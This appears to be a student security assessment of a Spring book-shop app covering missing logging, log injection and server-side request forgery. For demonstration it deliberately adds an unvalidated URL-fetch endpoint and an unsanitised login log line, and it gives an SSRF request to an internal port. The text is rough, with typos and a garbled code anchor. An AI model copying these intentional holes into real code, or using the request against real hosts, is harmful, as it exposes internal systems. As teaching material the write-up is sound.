controller.CartController.java: Line 70 checkout method.
EXPLOITATION — CHATGPT SUPPORT


*Not tested*: Attacker can use browser dev tools or Burp Suite, because there is nothing to validate the request's origin. Similarly with the example of CWE-1021, an attacker can inject a script, and server may store untrusted data.

# **A09:2021 Security Logging and Monitoring Failures**

CWE-778: Insufficient Logging
SEVERITY: MEDILIM
There is not any logging on security logging events like:
Failed / successful loggings
Use of user roles
Modifications on books / carts
Suspicious attempts
Source Code Location
controller.LoginController.java: Line 32 on PostMapping logging. No loggings can be found on this method to records any login attempts.
EXPLOITATION — CHATGPT SUPPORT

# **Customer Login**





When we successfully logged in with username and password, there was no event shown or recorded for User login. Instead, there was only one message saying, "Books fetched: 1". There should have been printed with the use of SLF4J library, a message like log.warn("Failed user login attempt", username). If we want our console not to get full with garbage messages, we could store each type of such messages in a specific log file.

### **CWE-117: Improper Output Neutralization for Logs**

### **SEVERITY: MEDIUM**

For logging been added, there should be sanitization on user input messages, to prevent log injection and log forging.




controller.LoginController.java: Line 32 on PostMapping logging. No loggings were found on this method to records any login attempts. This simple snippet was added: <a href="System.out.println("Login failed for username">System.out.println("Login failed for username">Username</a>: " + username); , so we could use it to showcase this vulnerability.




An attacker could use any String as username, since it is not sanitized at client form and on server, he can use any message to manipulate the logs. Such an example is shown on the below icons.

<sup>&</sup>lt;sup>6</sup> One could argue whether the CWE-117 is present in this application, simply because CWE-778 exists. Since there is lack of such logging (e.g for user), there is no entries for an attacker to manipulate.

## **Customer Login**





**CWE-223: Omission of Security Relevant Information** 

### SEVERITY: MEDILIM

Similarly to the CWE-778 case, relevant actions that have to do with security, e.g. deleting a book are performed without been monitoring.

Source Code Location	

controller.BookController.java: None of the book functions does create any log entry about who performed an action on a book, when it happened, and which book was affected.

EXPLOITATION — CHATGPT SUPPORT

Suppose a user logs in as admin/admin and delete a book by /delete/{id}. Book is removed from the database, but there was no log to capture the action. This causes a serious risk in in both incident response and accountability.

## A10:2021 Server-Side Request Forgery (SSRF)

**CWE-918: Server-Side Request Forgery (SSRF)** 

**SEVERITY: HIGH** 

With the help of the ChatGPT there was found that the project has no server-side request forgery vulnerability is in the current state. This application does not use any feature (e.g. RestTemplate, WebClient, or URLConnection) that use user-controlled endpoints. However, for the sake of the assignment, to show this class of vulnerability, a simplified endpoint was added with intention, to demonstrate this category.

SOURCE CODE LOCATION — DEMONSTRATION — ADDED CODE

```
@GetMapping("/fetch")
@ResponseBody
public String fetchUrl(@RequestParam String url) {
    RestTemplate restTemplate = new RestTemplate();
    return restTemplate.getForObject(url, String.class);
}
```

This dummy code was added on any controller, that allows user to supply any URL parameter. Server attempts to connect to the specific address and returns its response.

```
EXPLOITATION — CHATGPT SUPPORT
```

By calling an endpoint with an internal resource, we simulate an SSRF attack.

GET <a href="http://localhost:8080/fetch?url=http://127.0.0.1:3306">http://localhost:8080/fetch?url=http://127.0.0.1:3306</a>

This could access cloud metadata, scan internal networks, or bypass firewall rules.

The above snippet is a solution to block access to internal networks.

```
URI uri = URI.create(url);
if (uri.getHost().startsWith("127.") || uri.getHost().equals("localhost")) {
   throw new IllegalArgumentException("Access to internal resources is blocked.");
}
```

The following images is an example of how SSRF could be used, thus our application to be exploited.

```
bookRepository.save(book);
System.out.println(" Sample book added to DB.");
}

@GetMapping(⊕~"/fetch") // Code Tampered - Kyriakidis Dimitrios
@ResponseBody
public String fetchUrl(@RequestParam String url) {
    RestTemplate restTemplate = new RestTemplate();
    String forObject ② = restTemplate.getForObject(url, String.class);
    return forObject;
}

// Shame and Book List Page
@GetMapping({⊕~"/", ⊕~"/books"})
public String getAllBooks(Model model, HttpSession session) {
    String role = (String) session.getAttribute( name: "role");
    if (role == null) {
        return "redirect:/login";
    }
```

